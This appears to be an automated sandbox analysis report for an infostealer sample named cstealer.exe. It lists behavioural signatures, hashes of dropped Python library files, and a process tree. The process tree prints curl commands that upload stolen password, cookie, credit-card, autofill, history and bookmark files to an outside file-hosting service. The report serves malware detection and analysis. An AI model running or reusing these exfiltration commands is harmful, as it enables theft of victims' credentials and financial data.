Analysis

  • max time kernel
    134s
  • max time network
    125s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29/08/2024, 00:52

General

  • Target
    cstealer.exe
  • Size 13.5MB
  • Sample240829-a8cs3axckj
  • SHA256 6c5b3f7398c08ccdb971b650ccb66fad2237b97fe86e385b1c29560774f9c9f7
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Drops startup file 1 IoCs
  • Loads dropped DLL 40 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 25 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Suspicious use of WriteProcessMemory 26 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\cstealer.exe
    "C:\Users\Admin\AppData\Local\Temp\cstealer.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:232
    • C:\Users\Admin\AppData\Local\Temp\cstealer.exe
      "C:\Users\Admin\AppData\Local\Temp\cstealer.exe"
      2⤵
      • Drops startup file
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:5096
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cspasswords.txt" https://store3.gofile.io/uploadFile"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2800
        • C:\Windows\system32\curl.exe
          curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cspasswords.txt" https://store3.gofile.io/uploadFile
          4⤵
            PID:3128
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cscookies.txt" https://store3.gofile.io/uploadFile"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2832
          • C:\Windows\system32\curl.exe
            curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cscookies.txt" https://store3.gofile.io/uploadFile
            4⤵
              PID:4828
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cscreditcards.txt" https://store3.gofile.io/uploadFile"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1744
            • C:\Windows\system32\curl.exe
              curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cscreditcards.txt" https://store3.gofile.io/uploadFile
              4⤵
                PID:4572
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\csautofills.txt" https://store3.gofile.io/uploadFile"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4556
              • C:\Windows\system32\curl.exe
                curl -F "file=@C:\Users\Admin\AppData\Local\Temp\csautofills.txt" https://store3.gofile.io/uploadFile
                4⤵
                  PID:4760
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cshistories.txt" https://store3.gofile.io/uploadFile"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:2672
                • C:\Windows\system32\curl.exe
                  curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cshistories.txt" https://store3.gofile.io/uploadFile
                  4⤵
                    PID:2100
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\csbookmarks.txt" https://store3.gofile.io/uploadFile"
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3156
                  • C:\Windows\system32\curl.exe
                    curl -F "file=@C:\Users\Admin\AppData\Local\Temp\csbookmarks.txt" https://store3.gofile.io/uploadFile
                    4⤵
                      PID:4224

              Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

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                    Downloads

                    _raw_cbc.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI2322\Crypto\Cipher\_raw_cbc.pyd
                    • Size 12KB
                    • SHA256 11dd1b49f70db23617e84e08e709d4a9c86759d911a24ebddfb91c414cc7f375
                    • MD5 SHA1 SHA512 SSDEEP

                    _raw_cfb.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI2322\Crypto\Cipher\_raw_cfb.pyd
                    • Size 13KB
                    • SHA256 faa41385d0db8d4ee2ee74ee540bc879cf2e884bee87655ff3c89c8c517eed45
                    • MD5 SHA1 SHA512 SSDEEP

                    _raw_ctr.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI2322\Crypto\Cipher\_raw_ctr.pyd
                    • Size 14KB
                    • SHA256 61c7a532e108f67874ef2e17244358df19158f6142680f5b21032ba4889ac5d8
                    • MD5 SHA1 SHA512 SSDEEP

                    _raw_ecb.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI2322\Crypto\Cipher\_raw_ecb.pyd
                    • Size 10KB
                    • SHA256 3e0d07bbf93e0748b42b1c2550f48f0d81597486038c22548224584ae178a543
                    • MD5 SHA1 SHA512 SSDEEP

                    _raw_ofb.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI2322\Crypto\Cipher\_raw_ofb.pyd
                    • Size 12KB
                    • SHA256 c9f4c5ffcdd4f8814f8c07ce532a164ab699ae8cde737df02d6ecd7b5dd52dbd
                    • MD5 SHA1 SHA512 SSDEEP

                    _BLAKE2s.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI2322\Crypto\Hash\_BLAKE2s.pyd
                    • Size 14KB
                    • SHA256 fc296145ae46a11c472f99c5be317e77c840c2430fbb955ce3f913408a046284
                    • MD5 SHA1 SHA512 SSDEEP

                    _strxor.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI2322\Crypto\Util\_strxor.pyd
                    • Size 10KB
                    • SHA256 70d90ddf87a9608699be6bbedf89ad469632fd0adc20a69da07618596d443639
                    • MD5 SHA1 SHA512 SSDEEP

                    VCRUNTIME140.dll

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI2322\VCRUNTIME140.dll
                    • Size 116KB
                    • SHA256 4d292623516f65c80482081e62d5dadb759dc16e851de5db24c3cbb57b87db83
                    • MD5 SHA1 SHA512 SSDEEP

                    VCRUNTIME140_1.dll

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI2322\VCRUNTIME140_1.dll
                    • Size 48KB
                    • SHA256 a113f192195f245f17389e6ecbed8005990bcb2476ddad33f7c4c6c86327afe5
                    • MD5 SHA1 SHA512 SSDEEP

                    _asyncio.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI2322\_asyncio.pyd
                    • Size 69KB
                    • SHA256 5bebeb765ab9ef045bc5515166360d6f53890d3ad6fc360c20222d61841410b6
                    • MD5 SHA1 SHA512 SSDEEP

                    _bz2.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI2322\_bz2.pyd
                    • Size 83KB
                    • SHA256 3ed0e5058d370fb14aa5469d81f96c5685559c054917c7280dd4125f21d25f62
                    • MD5 SHA1 SHA512 SSDEEP

                    _cffi_backend.cp312-win_amd64.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI2322\_cffi_backend.cp312-win_amd64.pyd
                    • Size 178KB
                    • SHA256 d8a76d1e31bbd62a482dea9115fc1a109cb39af4cf6d1323409175f3c93113a7
                    • MD5 SHA1 SHA512 SSDEEP

                    _ctypes.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI2322\_ctypes.pyd
                    • Size 122KB
                    • SHA256 74e0e8384f6c2503215f4cf64c92efe7257f1aec44f72d67ad37dc8ba2530bc1
                    • MD5 SHA1 SHA512 SSDEEP

                    _decimal.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI2322\_decimal.pyd
                    • Size 251KB
                    • SHA256 b8221d1c9e2c892dd6227a6042d1e49200cd5cb82adbd998e4a77f4ee0e9abf1
                    • MD5 SHA1 SHA512 SSDEEP

                    _hashlib.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI2322\_hashlib.pyd
                    • Size 64KB
                    • SHA256 fd77a5756a17ec0788989f73222b0e7334dd4494b8c8647b43fe554cf3cfb354
                    • MD5 SHA1 SHA512 SSDEEP

                    _lzma.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI2322\_lzma.pyd
                    • Size 156KB
                    • SHA256 7bf9ff61babebd90c499a8ed9b62141f947f90d87e0bbd41a12e99d20e06954a
                    • MD5 SHA1 SHA512 SSDEEP

                    _multiprocessing.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI2322\_multiprocessing.pyd
                    • Size 34KB
                    • SHA256 3c34031b464e7881d8f9d182f7387a86b883581fd020280ec56c1e3ec6f4cc2d
                    • MD5 SHA1 SHA512 SSDEEP

                    _overlapped.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI2322\_overlapped.pyd
                    • Size 54KB
                    • SHA256 d5f89859609371393d379b5ffd98e5b552078050e8b02a8e2900fa9b4ee8ff91
                    • MD5 SHA1 SHA512 SSDEEP

                    _queue.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI2322\_queue.pyd
                    • Size 31KB
                    • SHA256 dbdabb5fe0ccbc8b951a2c6ec033551836b072cab756aaa56b6f22730080d173
                    • MD5 SHA1 SHA512 SSDEEP

                    _socket.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI2322\_socket.pyd
                    • Size 81KB
                    • SHA256 b102522c23dac2332511eb3502466caf842d6bcd092fbc276b7b55e9cc01b085
                    • MD5 SHA1 SHA512 SSDEEP

                    _sqlite3.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI2322\_sqlite3.pyd
                    • Size 122KB
                    • SHA256 ee0e9b0a0af6a98d5e8ad5b9878688d2089f35978756196222b9d45f49168a9d
                    • MD5 SHA1 SHA512 SSDEEP

                    _ssl.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI2322\_ssl.pyd
                    • Size 174KB
                    • SHA256 a5d361707f7a2a2d726b20770e8a6fc25d753be30bcbcbbb683ffee7959557c2
                    • MD5 SHA1 SHA512 SSDEEP

                    _wmi.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI2322\_wmi.pyd
                    • Size 36KB
                    • SHA256 752fb80edb51f45d3cc1c046f3b007802432b91aef400c985640d6b276a67c12
                    • MD5 SHA1 SHA512 SSDEEP

                    base_library.zip

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI2322\base_library.zip
                    • Size 1.3MB
                    • SHA256 c611943f0aeb3292d049437cb03500cc2f8d12f23faf55e644bca82f43679bc0
                    • MD5 SHA1 SHA512 SSDEEP

                    md.cp312-win_amd64.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI2322\charset_normalizer\md.cp312-win_amd64.pyd
                    • Size 10KB
                    • SHA256 ecf12e2c0a00c0ed4e2343ea956d78eed55e5a36ba49773633b2dfe7b04335c0
                    • MD5 SHA1 SHA512 SSDEEP

                    md__mypyc.cp312-win_amd64.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI2322\charset_normalizer\md__mypyc.cp312-win_amd64.pyd
                    • Size 120KB
                    • SHA256 4107b1d6f11d842074a9f21323290bbe97e8eed4aa778fbc348ee09cc4fa4637
                    • MD5 SHA1 SHA512 SSDEEP

                    libcrypto-3.dll

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI2322\libcrypto-3.dll
                    • Size 5.0MB
                    • SHA256 05fe080eab7fc535c51e10c1bd76a2f3e6217f9c91a25034774588881c3f99de
                    • MD5 SHA1 SHA512 SSDEEP

                    libffi-8.dll

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI2322\libffi-8.dll
                    • Size 38KB
                    • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
                    • MD5 SHA1 SHA512 SSDEEP

                    libssl-3.dll

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI2322\libssl-3.dll
                    • Size 768KB
                    • SHA256 2e9fbcd8f7fdc13a5179533239811456554f2b3aa2fb10e1b17be0df81c79006
                    • MD5 SHA1 SHA512 SSDEEP

                    pyexpat.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI2322\pyexpat.pyd
                    • Size 197KB
                    • SHA256 efd6099b1a6efdadd988d08dce0d8a34bd838106238250bccd201dc7dcd9387f
                    • MD5 SHA1 SHA512 SSDEEP

                    python312.dll

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI2322\python312.dll
                    • Size 6.6MB
                    • SHA256 21700f0bad5769a1b61ea408dc0a140ffd0a356a774c6eb0cc70e574b929d2e2
                    • MD5 SHA1 SHA512 SSDEEP

                    select.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI2322\select.pyd
                    • Size 30KB
                    • SHA256 411d6f538bdbaf60f1a1798fa8aa7ed3a4e8fcc99c9f9f10d21270d2f3742019
                    • MD5 SHA1 SHA512 SSDEEP

                    sqlite3.dll

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI2322\sqlite3.dll
                    • Size 1.5MB
                    • SHA256 7ef475d27f9634f6a75e88959e003318d7eb214333d25bdf9be1270fa0308c82
                    • MD5 SHA1 SHA512 SSDEEP

                    unicodedata.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI2322\unicodedata.pyd
                    • Size 1.1MB
                    • SHA256 bc2cf23b7b7491edcf03103b78dbaf42afd84a60ea71e764af9a1ddd0fe84268
                    • MD5 SHA1 SHA512 SSDEEP